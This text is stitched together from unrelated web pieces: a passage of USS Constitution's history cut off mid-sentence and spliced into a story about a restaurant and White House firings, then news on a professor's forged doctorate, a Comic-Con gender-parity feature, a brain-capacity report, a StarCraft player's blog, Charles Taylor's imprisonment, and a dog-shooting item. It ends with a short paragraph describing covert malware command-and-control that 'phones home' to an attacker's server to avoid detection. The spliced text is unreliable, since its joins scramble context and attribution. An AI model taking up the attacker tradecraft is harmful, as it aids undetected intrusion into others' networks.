Constitution was overhauled beginning in 1873 in order to participate in the centennial celebrations of the United States. Work began slowly and was intermittently delayed by the transition of the Philadelphia Navy Yard to League Island. By late 1875, the Navy opened bids for an outside contractor to complete the work, and Constitution was moved to Wood, Dialogue, and Company in May 1876, where a coal bin and a small boiler for heat were installed. The Andrew Jackson figurehead was removed at this time and given to the Naval Academy Museum where it remains today.[172] Her construction dragged on during the rest of 1876 until the centennial celebrations had long passed, and the Navy decided that she would be used as a training and school ship for apprentices.[173]
Oscar C. Badger took command on 9 January 1878 to prepare her for a voyage to the Paris Exposition of 1878, transporting artwork and industrial displays to France.[174] Three railroad cars were lashed to her spar deck and all but two cannons were removed when she departed on 4 March. While docking at Le Havre, she collided with Ville de Paris, which resulted in Constitution entering dry dock for repairs and remaining in France for the rest of 1878. She got underway for the United States on 16 January 1879, but poor navigation ran her aground the next day near Bollard Head. She was towed into the Portsmouth Naval Dockyard, Hampshire, England, where only minor damage was found and repaired.[175]
Her problem-plagued voyage continued on 13 February when her rudder was damaged during heavy storms, resulting in a total loss of steering control with the rudder smashing into the hull at random. Three crewmen went over the stern on ropes and boatswain's chairs and secured it. The next morning, they rigged a temporary steering system. Badger set a course for the nearest port, and she arrived in Lisbon on 18 February. Slow dock services delayed her departure until 11 April and her voyage home did not end until 24 May.[176] Carpenter's Mate Henry Williams, Captain of the Top Joseph Matthews, and Captain of the Top James Horton received the Medal of Honor for their actions in repairing the damaged rudder at sea.[177] Constitution returned to her previous duties of training apprentice boys,[178] and Ship's Corporal James Thayer received a Medal of Honor for saving a fellow crew member from drowning on 16 November.[177]
Over the next two years, she continued her training cruises, but it soon became apparent that her overhaul in 1876 had been of poor quality and she was determined to be unfit for service in 1881. Funds were lacking for another overhaul, so she was decommissioned, ending her days as an active-duty naval ship. She was moved to the Portsmouth Navy Yard and used as a receiving ship. There, she had a housing structure built over her spar deck, and her condition continued to deteriorate, with only a minimal amount of maintenance performed to keep her afloat.[165][179] In 1896, Massachusetts Congressman John F. Fitzgerald became aware of her condition and proposed to Congress that funds be appropriated to restore her enough to return to Boston.[180] She arrived at the Charlestown Navy Yard under tow on 21 September 1897[181] and, after her centennial celebrations in October, she lay there with an uncertain future.[165][182]
Museum ship [ edit ]
As a barracks ship in Boston c. 1905
In 1900, Congress authorized restoration of Constitution but did not appropriate any funds for the project; funding was to be raised privately. The Massachusetts Society of the United Daughters of the War of 1812 spearheaded an effort to raise funds, but they ultimately failed.[183] In 1903, the Massachusetts Historical Society's president Charles Francis Adams requested of Congress that Constitution be rehabilitated and placed back into active service.[184]
In 1905, Secretary of the Navy Charles Joseph Bonaparte suggested that Constitution be towed out to sea and used as target practice, after which she would be allowed to sink. Moses H. Gulesian read about this in a Boston newspaper; he was a businessman from Worcester, Massachusetts, and he offered to purchase her for $10,000.[183][185] The State Department refused, but Gulesian initiated a public campaign which began from Boston and ultimately "spilled all over the country."[185] The storms of protest from the public prompted Congress to authorize $100,000 in 1906 for the ship's restoration. First to be removed was the barracks structure on her spar deck, but the limited amount of funds allowed just a partial restoration.[186] By 1907, Constitution began to serve as a museum ship, with tours offered to the public. On 1 December 1917, she was renamed Old Constitution to free her name for a planned, new Lexington-class battlecruiser. The name Constitution was originally destined for the lead ship of the class, but it got shuffled around between hulls until CC-5 was given the name; construction of CC-5 was canceled in 1923 due to the Washington Naval Treaty. The incomplete hull was sold for scrap, and Old Constitution was granted the return of her name on 24 July 1925.[1]
1925 restoration and tour [ edit ]
Admiral Edward Walter Eberle, Chief of Naval Operations, ordered the Board of Inspection and Survey to compile a report on her condition, and the inspection of 19 February 1924 found her in grave condition. Water had to be pumped out of her hold on a daily basis just to keep her afloat, and her stern was in danger of falling off. Almost all deck areas and structural components were filled with rot, and she was considered to be on the verge of ruin. Yet the Board recommended that she be thoroughly repaired in order to preserve her as long as possible. The estimated cost of repairs was $400,000. Secretary of the Navy Curtis D. Wilbur proposed to Congress that the required funds be raised privately, and he was authorized to assemble the committee charged with her restoration.[187]
The first effort was sponsored by the national Elks Lodge. Programs presented to schoolchildren about "Old Ironsides" encouraged them to donate pennies towards her restoration, eventually raising $148,000. In the meantime, the estimates for repair began to climb, eventually reaching over $745,000 after costs of materials were realized.[188] In September 1926, Wilbur began to sell copies of a painting of Constitution at 50 cents per copy. The silent film Old Ironsides portrayed Constitution during the First Barbary War. It premiered in December and helped spur more contributions to her restoration fund. The final campaign allowed memorabilia to be made of her discarded planking and metal. The committee eventually raised more than $600,000 after expenses, still short of the required amount, and Congress approved up to $300,000 to complete the restoration. The final cost of the restoration was $946,000.[189]
Transiting the Panama Canal 1932
Lieutenant John A. Lord was selected to oversee the reconstruction project, and work began while fund-raising efforts were still underway. Materials were difficult to find, especially the live oak needed; Lord uncovered a long-forgotten stash of live oak (some 1,500 short tons [1,400 t]) at Naval Air Station Pensacola, Florida that had been cut sometime in the 1850s for a ship building program that never began. Constitution entered dry dock with a crowd of 10,000 observers on 16 June 1927. Meanwhile, Charles Francis Adams had been appointed as Secretary of the Navy, and he proposed that Constitution make a tour of the United States upon her completion as a gift to the nation for its efforts to help restore her. She emerged from dry dock on 15 March 1930; approximately 85 percent of the ship had been "renewed" (i.e. replaced) to make her seaworthy.[190] Many amenities were installed to prepare her for the three-year tour of the country, including water piping throughout, modern toilet and shower facilities, electric lighting to make the interior visible for visitors, and several peloruses for ease of navigation.[191] 40 miles (64,000 m) of rigging was made for Constitution at Charlestown Navy Yard ropewalk.[192]
Constitution recommissioned on 1 July 1931 under the command of Louis J. Gulliver with a crew of 60 officers and sailors, 15 Marines, and a pet monkey named Rosie that was their mascot. The tour began at Portsmouth, New Hampshire with much celebration and a 21-gun salute, scheduled to visit 90 port cities along the Atlantic, Gulf, and Pacific coasts. Due to the schedule of visits on her itinerary she was towed by the minesweeper Grebe. She went as far north as Bar Harbor, Maine, south and into the Gulf of Mexico then through the Panama Canal Zone, and north again to Bellingham, Washington on the Pacific Coast. Constitution returned to her home port of Boston in May 1934 after more than 4.6 million people visited her during the three-year tour.[193]
1934 return to Boston [ edit ]
Constitution returned to serving as a museum ship, receiving 100,000 visitors per year in Boston. She was maintained by a small crew who were berthed on the ship, and this required more reliable heating. The heating was upgraded to a forced-air system in the 1950s, and a sprinkler system was added that protects her from fire. Constitution broke loose from her dock on 21 September 1938 during the New England Hurricane and was blown into Boston Harbor where she collided with the destroyer Ralph Talbot; she suffered only minor damage.[194]
Constitution commemorative stamp 150th anniversary issue of 1947 USScommemorative stamp 150th anniversary issue of 1947
With limited funds available, she experienced more deterioration over the years, and items began to disappear from the ship as souvenir hunters picked away at the more portable objects.[195] Constitution and USS Constellation were recommissioned in 1940 at the request of President Franklin Roosevelt.[196][197] In early 1941, Constitution was assigned the hull classification symbol IX-21[1] and began to serve as a brig for officers awaiting court-martial.[198]
The United States Postal Service issued a stamp commemorating Constitution in 1947, and an Act of Congress in 1954 made the Secretary of the Navy responsible for her upkeep.[199]
Restoration [ edit ]
In 1970, another survey was performed on her condition, finding that repairs were required but not as extensively as those which she had needed in the 1920s. The US Navy determined that a Commander was required as commanding officer—typically someone with about 20 years of seniority; this would ensure the experience to organize the maintenance that she required.[200] Funds were approved in 1972 for her restoration, and she entered dry dock in April 1973, remaining until April 1974. During this period, large quantities of red oak were removed and replaced. The red oak had been added in the 1950s as an experiment to see if it would last better than the live oak, but it had mostly rotted away by 1970.[201]
Bicentennial celebrations [ edit ]
Commander Tyrone G. Martin became her captain in August 1974, as preparations began for the upcoming United States Bicentennial celebrations. He set the precedent that all construction work on Constitution was to be aimed towards maintaining her to the 1812 configuration for which she is most noted.[201] In September 1975, her hull classification of IX-21 was officially canceled.[1]
The privately run USS Constitution Museum opened on 8 April 1976, and Commander Martin dedicated a tract of land as "Constitution Grove" one month later, located at the Naval Surface Warfare Center in Indiana. The 25,000 acres (100 km2) now supply the majority of the white oak required for repair work.[202] On 10 July, Constitution led the parade of tall ships up Boston Harbor for Operation Sail, firing her guns at one-minute intervals for the first time in approximately 100 years.[203] On 11 July, she rendered a 21-gun salute to Her Majesty's Yacht Britannia, as Queen Elizabeth II and Prince Philip arrived for a state visit.[204] The royal couple were piped aboard and privately toured the ship for approximately 30 minutes with Commander Martin and Secretary of the Navy J. William Middendorf. Upon their departure, the crew of Constitution rendered three cheers for the Queen. Over 900,000 visitors toured "Old Ironsides" that year.[205]
1995 reconstruction [ edit ]
Constitution entered dry dock in 1992 for an inspection and minor repair period that turned out to be her most comprehensive structural restoration and repair since she was launched in 1797. Multiple refittings over the 200 years of her career had removed most of her original construction components and design, as her mission changed from a fighting warship to a training ship and eventually to a receiving ship. In 1993, the Naval History & Heritage Command Detachment Boston reviewed Humphreys' original plans and identified five main structural components that were required to prevent hogging of the hull,[206] as Constitution had 13 in (330 mm) of hog at that point. Using a 1:16 scale model of the ship, they were able to determine that restoring the original components would result in a 10% increase in hull stiffness.[207]
Three hundred scans were completed on her timbers using radiography to find any hidden problems otherwise undetectable from the outside—technology that was unavailable during previous reconstructions. The repair crew used sound wave testing, aided by the United States Forest Service's Forest Products Laboratory, to determine the condition of the remaining timbers that may have been rotting from the inside.[206] The 13 in (330 mm) of hog was removed from her keel by allowing the ship to settle naturally while in dry dock. The most difficult task was the procurement of timber in the quantity and sizes needed, as was the case during her 1920s restoration, as well. The city of Charleston, South Carolina donated live oak trees that had been felled by Hurricane Hugo in 1989, and the International Paper Company donated live oak from its own property.[202] The project continued to reconstruct her to 1812 specifications, even as she remained open to visitors who were allowed to observe the process and converse with workers.[206] The $12 million project was completed in 1995.[208]
Sailing on 200th anniversary [ edit ]
Constitution sails unassisted for the first time in 116 years. Walter Cronkite takes the helm.
As early as 1991, Commander David Cashman had suggested that Constitution should sail to celebrate her 200th anniversary in 1997 rather than being towed. The proposal was approved, though it was thought to be a large undertaking since she had not sailed in over 100 years.[209] When she emerged from dry dock in 1995, a more serious effort began to prepare her for sail. As in the 1920s, education programs aimed at school children helped collect pennies to purchase the sails to make the voyage possible. Her six-sail battle configuration consisted of jibs, topsails, and driver.[210]
Commander Mike Beck began training the crew for the historic sail using an 1819 Navy sailing manual and several months of practice, including time spent aboard the Coast Guard cutter Eagle.[211] On 20 July, Constitution was towed from her usual berth in Boston to an overnight mooring in Marblehead, Massachusetts. En route, she made her first sail in 116 years at a recorded 6 knots (11 km/h; 6.9 mph).[212][213][214]
On 21 July, she was towed 5 nautical miles (9.3 km; 5.8 mi) offshore, where the tow line was dropped and Commander Beck ordered six sails set (jibs, topsails, and spanker). She then sailed for 40 minutes on a south-south-east course with true wind speeds of about 12 kn (22 km/h; 14 mph), attaining a top recorded speed of 4 kn (7.4 km/h; 4.6 mph).[214] Her modern US naval combatant escorts were the guided missile destroyer Ramage and frigate Halyburton. They rendered passing honors to "Old Ironsides" while she was under sail, and she was overflown by the US Navy Flight Demonstration Squadron, the Blue Angels. Inbound to her permanent berth at Charlestown, she rendered a 21-gun salute to the nation off Fort Independence in Boston Harbor.[210]
Present day [ edit ]
Constitution (July 2005) Officers and crew of USS(July 2005)
The mission of Constitution is to promote understanding of the Navy's role in war and peace through active participation in public events and education through outreach programs, public access, and historic demonstration.[215] Her crew of 6 officers and 46 enlisted participate in ceremonies, educational programs, and special events while keeping the ship open to visitors year-round and providing free tours. The crewmen are all active-duty members of the U.S. Navy, and the assignment is considered to be special duty. She entered dry dock in May 2015 for a scheduled restoration, before returning to sea.[216][217][Note 1]
Constitution is berthed at Pier One of the former Charlestown Navy Yard, at one end of Boston's Freedom Trail. She is open to the public year-round. The privately run USS Constitution Museum is nearby, located in a restored shipyard building at the foot of Pier Two.[218] Constitution typically makes at least one "turnaround cruise" each year, during which she is towed into Boston Harbor to perform underway demonstrations, including a gun drill; she then returns to her dock in the opposite direction to ensure that she weathers evenly.[219] The "turnaround cruise" is open to the general public based on a "lottery draw" of interested persons each year.[220]
The Naval History and Heritage Command Detachment Boston is responsible for planning and performing her maintenance, repair, and restoration, keeping her as close as possible to her 1812 configuration. The detachment estimates that approximately 10–15 percent of the timber in Constitution contains original material installed during her initial construction period in the years 1795–1797.[221]
In 2003, the special effects crew from the production of Master and Commander: The Far Side of the World spent several days using Constitution as a computer model for the fictional French frigate Acheron, using stem-to-stern digital image scans of "Old Ironsides."[222] Lieutenant Commander John Scivier of the Royal Navy, commanding officer of HMS Victory, paid a visit to Constitution in November 2007, touring the local facilities with Commander William A. Bullard III. They discussed arranging an exchange program between the two ships.[223]
Constitution emerged from a three-year repair period in November 2010. During this time, the entire spar deck was stripped down to the support beams, and the decking overhead was replaced to restore its original curvature, allowing water to drain overboard and not remain standing on the deck.[224] In addition to decking repairs, 50 hull planks and the main hatch were repaired or replaced. The restoration continued the focus toward keeping her appearance of 1812 by replacing her upper sides so that she now resembles what she looked like after her triumph over Guerriere, when she gained her nickname "Old Ironsides".[224] The crew of Constitution under Commander Matt Bonner sailed Constitution under her own power on 19 August 2012, the anniversary of her victory over Guerriere.[225] Bonner was Constitution's 72nd commanding officer.[226]
On 18 May 2015, the ship entered Dry Dock 1 in Charlestown Navy Yard to begin a two-year restoration program. The restoration planned to restore the copper sheets on the ship's hull and replace additional deck boards. The Department of the Navy provided the $12–15 million expected cost.[217] After the restoration was complete, she was returned to the water on 23 July 2017.[227] In November, 2017, Commander Nathaniel R. Shick |
the White House, making the offer after the departures of former chief strategist Stephen Bannon and former communications director Anthony Scaramucci.
The restaurant offered a special cocktail called “the Mooch” following Scaramucci’s firing and shortly after decided to offer discounted drinks “anytime Trump fires a White House official,” according to its Twitter profile.A Polk State College professor whom authorities say falsely claimed he had a doctorate degree has been arrested and charged with grand theft.
David Scott Broxterman, 55, was arrested Wednesday morning and charged with grand theft over $100,000 and cheating. The State Attorney's Office said he submitted fake transcripts to Polk State claiming he earned a doctorate degree from the University of South Florida in 2007 and that he displayed a forged diploma in his office.
Broxterman's salary from 2009 to 2014 totaled $258,759.71, according to the State Attorney's office. The grand theft charge is based on him collecting the salary under false pretenses.
According to the arrest affidavit, the State Attorney's Office opened an investigation after receiving information that Broxterman did not earn the doctorate degree required for his position.
Polk State first hired Broxterman as an adjunct instructor in 2009, based on his claim he had obtained a PhD in organizational management from USF, and later hired him to the full-time faculty position of business administration professor, the State Attorney's Office said.
Assistant State Attorney Brian Haas said he examined the transcripts Broxterman submitted to Polk State before being hired, compared them to an actual set of USF transcripts, and saw that they were printed in the wrong color and format and included numbers to courses that did not exist.
The State Attorney's Office executed a search warrant of Broxterman's office on May 12 and recovered the diploma, which was easily identified as fake, the arrest affidavit said. According to the affidavit, the diploma had a signature from USF President Judy C. Genshaft that should have been Judy L. Genshaft, the wrong color and placement of the USF seal and the word "Board" misspelled "Baord."
Authorities said Polk State did "everything possible" to cooperate with the investigation.
"Polk State College is a very fine institution of higher learning in our community," Haas said in a news release. "The college has cooperated fully in this investigation and has already taken steps to prevent this from happening again."
Broxterman, who lives in Lakeland, was seemingly well thought of by students.
“It’s a shock that this man who taught me so much and has done so much for the school is not who he says he is," said Anthony Bates. “He was a phenomenal teacher he made sure everything was by the book. We were reading what we were supposed to that we were learning the things we were supposed to regarding organizational structure and how businesses should be ran,”
Broxterman had an overall rating of 4.9 out of 5 on the popular website ratemyprofessor.com.
"Talk about a teacher that is actively involved at PSC and (he) has a heart of gold!" one student wrote on the website. "His teaching methods are based on'selling,' which gives real-life examples to students of what they need in the future! You EARN your grade! If you put the effort, you WILL get your A! Its up to you! I feel honored to meet Dr. B! Truly an inspiration in my life forever."
Broxterman is being held in the Polk County Jail without bond pending his first appearance hearing.Graphic courtesy of Rob Salkowitz / Eventbrite
THE STEREOTYPE persists, despite being as archaic as a codpiece packed in Spandex. When the pop-culture circus comes to town, the conventional thinking about nerd conventions goes, the immature, soft-tissue male emerges from his parents’ basement and treks to the showroom floor, geeking out to collectibles and comic art almost exclusively with members of his same chromosomal tribe.
Now, in 2015, we may not have sufficient data on how many nerds reside on subterranean floors at parental expense, but we do know this: As the geeks have inherited the Earth in more recent years, the gender balance of fandom has shifted markedly. And this year, officially, parity is upon us.
Yes, at the dawn of the 46th Comic-Con International that launches Thursday in San Diego (with “preview night” Wednesday), just about every other of the 125,000-plus attendees will surely be female, and the head count will be split nearly 50/50. Why, even in describing how we got here, some industry slang now rings as gender-neutral:
Mamas, you let your babies grow up to be “fanboys.”
“It happened so fast and so completely and without any doubts,” Heidi MacDonald, editor of the popular comics-culture website The Beat, tells The Post. “All of the research I’ve seen in the last year or so backs up this gender parity for things that are considered ‘nerdy.’
“Even three or four years ago, it was easy to ‘question’ what the female participation in various topics was,” MacDonald continues. “But now, it’s beyond question.”
The most recent research landed just days ago as released by the online ticketing platform Eventbrite, after more than 2,100 respondents in 48 U.S. states and territories were surveyed. Rob Salkowitz, who worked with Eventbrite to develop and analyze the data, says that fans have driven the push for geek-culture parity.
“Last year, the numbers showed we were trending in that direction. This year, it’s clear that we are there,” says Salkowitz, citing his Eventbrite data and social-media surveys by Brett Schenker of Graphics Policy, among other sources and events. “As a result, we’ve seen more sincere efforts from publishers to broaden the audience, and much stronger responses to concerns raised by fans over inclusiveness.”
Part of killing the stereotype through research is understanding that “nerd culture” is so much more vast, of course, than mainstream superhero comics.
“If a person’s idea of ‘comics’ begins and ends with Marvel and DC, I suppose it can look like a bit of a backwater, despite recent exceptions,” Scott McCloud, the cartoonist and leading comics theorist, tells Comic Riffs. “But comics is so much bigger than that now!
“In the industry and culture as a whole, a revolution is clearly underway,” continues McCloud (author of the cartooning bible “Understanding Comics” and the new graphic novel “The Sculptor”), who’s a featured guest at this year’s Comic-Con.
MacDonald underscores the degree to which comics beyond mainstream superheroes have altered the playing field.
“The manga boom of the Aughts is absolutely ground zero for where this return to comics being for everyone took place,” says MacDonald, who will appear on multiple Comic-Con panels this week. “For the first time since the ’60s, women had their own thing in comics to be fans of, and the girls who read manga back then have grown up, had kids of their own, and they are totally open to comics.”
And Salkowitz notes how gender parity is not some absolute across all types of geek fandom.
“We polled across multiple fandoms, ranging from comics to gaming to anime to ‘comic- and genre-based media,’ and we found gender parity at the top line,” says Salkowitz, who is the author of “Comic-Con and the Business of Pop Culture.” “That is, our sample was split almost exactly 50/50, compared to last year, when it was 54/46 male.
“But when you start to break it down according to how fans identify themselves, we find that no individual fandom is that even,” continues Salkowitz, who will discuss his findings Sunday afternoon at Comic-Con. “Comics, videogaming, hobby gaming and toy collecting are majority male, usually in the 55- to 60-percent range. Manga/anime, science fiction/fantasy and media fandom are 60- to 65-percent female. Because today’s big conventions appeal to fans of everything, audiences coming to shows are pretty much gender-balanced. However, it’s still the case that, say, ‘comics’ fandom tends more toward older guys, whereas manga appeals more to younger women.”
Salkowitz, who teaches in the Digital Media program at the University of Washington, points out the difference, too, between readership and consumerism.
“One important finding is that gender does not have much effect on the behavior of fans,” Salkowitz tells The Post. “Men and women exhibited interest in the same sorts of things, similar spending patterns and similar attendance levels. If anything, women are slightly more intense in their fandom by certain measures.”
So how did geek culture arrive at gender parity with such seeming rapidity? MacDonald, a longtime writer for Publishers Weekly, points to the rise of online life.
“Obviously, social media made it possible for women to express themselves without gatekeepers telling them what is or isn’t appropriate,” MacDonald says, “and there was also a sea change among young women that it’s okay to be interested in this stuff.”
MacDonald also emphasizes that gender parity is not a new threshold, but rather a circling back to an earlier time in American comics.
“This is not so much a radical change as a return,” says MacDonald, a former editor at DC’s Vertigo imprint. “If you look at comics promotions of the ’40s, it’s clear they were aimed at boys and girls. Even [infamous comics detractor Fredric] Wertham said that boys and girls read dangerous comics. This idea that girls don’t read comics is purely an invention of the early direct-sales market days of the late ’70s to about 2000.”
Turning personal, MacDonald says that throughout her life, she’s known that women and girls liked comics. “I was raised in a household where my grandmother and mother read comics to me,” she says of her New Jersey upbringing. “It was the resistance to this idea that flourished in the ’80s and ’90s, with men thinking that ‘geek stuff’ like ‘Star Trek’ and comics were ‘their safe space.’ I think it was this impulse that birthed so many gatekeepers to keep girls away from comics.”
A crucial factor, Salkowitz and MacDonald agree, is that a rising tide not only lifts all boats, but also can alter how they’re docked.
Part of what changed, MacDonald says, “is the overall acceptance of ‘nerd culture’ to the point where it’s the major part of pop culture. It seems like the parts of the media that aren’t touched by comic-book culture are dwindling into a small ivory tower. Seeing women more involved is no surprise, because the Avengers, for instance, are meant for everyone.”
Amid this shift, though, what will happen to any residual prejudice and lingering misogyny that will surely become more exposed and less tolerated?
“Change creates anxiety. These shifts in fandom – not just around gender, but with the arrival of younger fans who discovered fandom through different channels…young adult fiction, movies and social media, as opposed to reading comics or playing games at arcades – mean that the conversations and experiences associated with fandom are changing,” Salkowitz says. “Publishers and developers are targeting a bigger audience. A lot of the stuff that used to get by when only guys were involved is suddenly not okay. Not everyone is happy about that.
(1st Perennial / William Morrow)
“That said, there’s a difference between being the old guy telling the kids to get off his lawn, and harassing and stalking women online,” Salkowitz says. “The stuff that’s gone on around Gamergate is so plainly unacceptable, it’s hard to believe it has any defenders. Comics has its problems, to be sure, but the misogynistic behavior doesn’t seem as systematic, self-righteous and agenda-driven as that.”
Besides, Gender Parity isn’t necessarily the final destination for this engine of change.
“I’m standing by my prediction from over a decade ago that we’ll have a majority female industry by 2024,” McCloud tells Comic Riffs. “But even before that, there are bound to be important transformations from the flood of new voices, new stories and new perspectives that that process entails.
“I also think it’s cool,” McCloud continues, “that the phrase ‘gender balance’ — which I used in ‘Reinventing Comics’ — is looking increasingly outdated, as we’re reminded that gender isn’t the either/or proposition some of us were raised with.”
Meantime, the future of fandom is all around us. MacDonald observes it around her in the New York area.
“I was taking the subway home from the Fourth of July fireworks the other night, and a family got on all dressed in red, white and blue for the occasion,” MacDonald recounts. “There was a little girl about 4 or 5 [years old], and she was holding a plastic sword and was clearly dressed like some kind of warrior woman. Obviously she has been exposed to that archetype in the media from various sources, but it struck me how young she was and how natural this role was for her.
“It’s not that girls need to be socialized into heroic storytelling — it’s that they have to be socialized out of liking it.”The human brain has a capacity that is ten times greater than first thought and can retain 4.7 billion books, scientists have discovered.
This is according to US scientists who have measured the storage capacity of synapses - the brain connections that are responsible for storing memories.
They discovered that, on average, one synapse can hold roughly 4.7 bits of information. This means that the human brain has a capacity of one petabyte, or 1,000,000,000,000,000 bytes.
One petabyte is the same as 20 million four-drawer filing cabinets filled with text,13.3 years of HD-TV recordings, 4.7 billion books or 670 million web pages.
"The discovery is a real bombshell in the field of neuroscience,"
However, this is only the total amount of information that the relevant part of the brain could theoretically carry at any one moment. Its actual archive of memories would be a lot smaller.
Nevertheless, Professor Terry Sejnowski, of the Salk Institute for Biological Studies, in California, said the discovery is a “real bombshell in the field of neuroscience”.
“We discovered the key to unlocking the design principle for how hippocampal neurons function with low energy but high computation power,” he said.
“Our new measurements of the brain's memory capacity increase conservative estimates by a factor of 10 to at least a petabyte, in the same ballpark as the World Wide Web.”
The paper was published in eLife.Hey everyone! This is my first blog and I will mainly write about my WCS adventures, what I hope WCS will be like next year as well as what I've been up to lately.
So first of all, I got in to WCS way too late, I was expecting to qualify quite easily for the first season but I had some massive trouble against protoss and was quite unlucky. I got Feast the first two qualifiers and in the last qualifier I met Shuttle, who was a player I often beat on ladder, but he changed up his style a bit and I didn’t have the best day so he destroyed me 2-0. After that I lost motivation and started playing more Dota 2 than SC2. It took me a few times but eventually I managed to qualify and the rest is history!
Baum did a pretty cool blog about my WCS results, from challenger league to the round of 8. You can read it here.
Everyone thinks that the Koreans just come over and ez pzs all the top Europeans, this is however not true at all. I kinda wish the Koreans would speak up on how much they practiced, For example MMA was very well prepared against Nerchio, him and Cella had analysed his builds, his style and countered it perfectly on every map. I also heard that he was practicing with soulkey and a few other top Korean zergs for the ro8. MC also told me that he had not been practicing too much, but had studied my VODs from WCS and fragbite.
My preparation for ro8 was a bit weird, there was a big Norwegian tournament at Sørlanet in the same week as WCS, with a nice big prizepool (17000 NOK first place), so I felt that I had to go even though the timing was a bit bad. Anyways, I got 2nd, Snute won and the games were really entertaining, I won the first bo5, and in the last bo5, final game, I did the biggest throw ever in a professional game. People should check out the VODs! I won 10000 NOK for 2nd place, so not a bad trip. At Sørlanet I prepared a ton for MC, watched some of his recent VODs vs zerg ( I only found games vs TLO, he plays a bit different than me!) and I practiced some with stardust and a ton of games vs good tosses on the ladder. I did quite poorly both on the ladder and in the customs vs stardust so I lost confidence, but I thought I could still put up a good fight vs MC.
I am not going to analyse the games too much, MC just played better than me and he definitely deserved the win! The weekend overall was very boring, we had to stay at a hotel that was 30 minutes from Cologne, nothing to do besides WCS. We were invited to the barcraft, but the taxi trip back would be expensive as hell and all the players wanted to go back to the hotel. ESL had booked me a nice 22:00 flight the next day (including a lovely train trip to Frankfurt) so I decided to book an early morning flight, which was probably cheaper than the flight they booked.
Anyways, to sum up my performance this season, I am quite happy with how it went; I could’ve done better though, so I hope I can perform in the next season.
I also want to share some of my thoughts about how I hope WCS will change next season, the region lock has been a heated debate, I heard some stuff that they will allow Koreans to participate that live in a team house in their region. This is what most WCS players want. This is an overall positive thing, we can practice with them on the ladder or costums, and they won’t be able to surprise us with their playstyle and so on.
It’s super hard to find information on most of the Koreans, if they don’t play for foreign teams, there are almost no vods or replays available to study, since they aren’t playing team leagues and foreign tournaments. The Koreans also have more good players to practice with than we do!
Since there will only be 3 seasons next year, I hope they will spread it out more and do a better job scheduling with independent tournament hosts, we lost some tournaments, like ESWC and way too many of the current tournaments are clashing with each other: Homestory cup clashed with a RedBull event, and Homestory cup will clash with the Irish tournament this time. Dreamhack, IEM and WCG are also at the same time.
The current broadcasts, tournament finals are getting boring, in my opinion atleast. It’s mostly the same hosts, casters and venues. I would love to see WCS visiting other countries in Europe, imagine having WCS in Russia, with happy and titan in ro16 or ro8, or going to France when Dayshi and ToD are playing, Sweden, Spain, everywhere!
And I really hope they continue bringing in more players to cast. This makes it way more enjoyable and not as repetitive. I know that it will be more expensive, but changing the venue and casters as well as including all the fans is really important for the future of WCS and SC2.
So to sum this blog up, lately I have been taking a small break from SC2, I’ve been relaxing, playing some dota 2, catching up on some TV series and thinking about the future. There are some qualifiers coming up, I am also invited to a tournament in Norway in early November, as well as another tournament that I can’t announce. I am slowly starting to practice again and I will be ready for next year’s WCS. Big shoutout to Team Dignitas and all of the sponsors!
Thank you all for reading!Image caption Following the ruling last month, Charles Taylor has no further grounds for appeal
Ex-Liberian President Charles Taylor is to serve his 50-year war crimes sentence in the UK, Justice Minister Jeremy Wright has confirmed.
Finland, Rwanda and Sweden were other possibilities following the rejection of his appeal last month by a UN-backed special court in The Hague.
It ruled that his convictions had been proved beyond doubt.
He was sentenced in May 2012 for aiding rebels who committed atrocities in Sierra Leone during its civil war.
Because of fears his trial could spark renewed conflict in West Africa, it was moved from Sierra Leone to The Hague, and the UK at the time offered to jail him if convicted.
'Landmark moment'
Taylor timeline • 1989: Launches rebellion in Liberia • 1991: RUF rebellion starts in Sierra Leone • 1997: Elected president after a 1995 peace deal • 1999: Rebels take up arms against Taylor • June 2003: Arrest warrant issued; two months later he steps down and goes into exile in Nigeria • March 2006: Arrested after a failed escape bid and sent to Sierra Leone • June 2007: His trial opens - hosted in The Hague for security reasons • April 2012: Convicted of aiding and abetting the commission of war crimes - later sentenced to 50 years in jail Charles Taylor profile Why Taylor will be jailed in UK
Mr Wright made the announcement in a written statement to Parliament, saying it followed a request from the Special Court for Sierra Leone (SCSL).
"Taylor will now be transferred to a prison in the UK to serve that sentence," he said, adding that international justice was central to British foreign policy.
"The United Kingdom's offer to enforce any sentence imposed on former President Taylor by the SCSL was crucial to ensuring that he could be transferred to The Hague to stand trial for his crimes," Mr Wright said.
The SCSL found Taylor, 65, guilty of 11 crimes including terrorism, rape, murder and the use of child soldiers by rebel groups in neighbouring Sierra Leone during the 1991-2002 conflict in which some 50,000 people died.
He was found to have supplied weapons to the Revolutionary United Front (RUF) rebels in exchange for a constant flow of so-called blood diamonds.
The rebels were notorious for hacking off the limbs of civilians to terrorise the population.
Taylor has always insisted he is innocent and his only contact with the rebels was to urge them to stop fighting.
He is the first former head of state convicted by an international war crimes court since World War II.
Image caption Many victims of Sierra Leone's civil war had limbs hacked off by rebels
UK forces intervened in Sierra Leone in 2000, sending 800 paratroopers to protect Freetown as rebel forces were closing in on the capital. They evacuated British citizens and helped secure the airport for beleaguered UN peacekeepers.
The British forces pushed back the rebels, allowing the UN peacekeeping force to operate effectively. British forces then stayed on for another two years to re-train the Sierra Leone army.
An act of parliament was passed in 2007 to allow for Taylor to serve his sentence in the UK at the cost of the government.
"The conviction of Charles Taylor is a landmark moment for international justice," Mr Wright said.
"It clearly demonstrates that those who commit atrocities will be held to account and that no matter their position they will not enjoy impunity."
It is not the first time the UK has imprisoned foreign nationals convicted of war crimes.
Four men convicted of war crimes in the former Yugoslavia served time in British high-security prisons. One former Bosnian-Serb general was stabbed at Wakefield prison in apparent retaliation for the massacre of Muslims in the UN safe haven of Srebrenica in 1995.
The UK also offered to jail the former President of Yugoslavia, Slobodan Milosevic, had he been convicted at his trial in The Hague on charges of war crimes and genocide. But he died in 2006 while on trial.Gregory Lane Lanier, 35, told police in Sebring he thought the 9mm Beretta semi-automatic handgun on the floor of his pickup truck was unloaded when the black and tan English bulldog kicked it and caused it to fire.
Mr Lanier was hit in his left leg. The bullet wound, which doctors at a local hospital attended to, was not serious.
Police in Sebring said they were sceptical, adding there were "some indications" that Mr Lanier may have made his story up.
"It's what he claims," Commander Steve Carr, a police spokesman, said of Mr Lanier's account.
"We didn't spend a lot of time investigating it," he said. "There doesn't appear to be any criminal act involved. You don't have to be licensed in Florida to carry a handgun."High latency communication allows you to conduct operations on your target’s network, without detection, for a long time. An example of high-latency communication is a bot that phones home to an attacker’s web server to request instructions once each day.
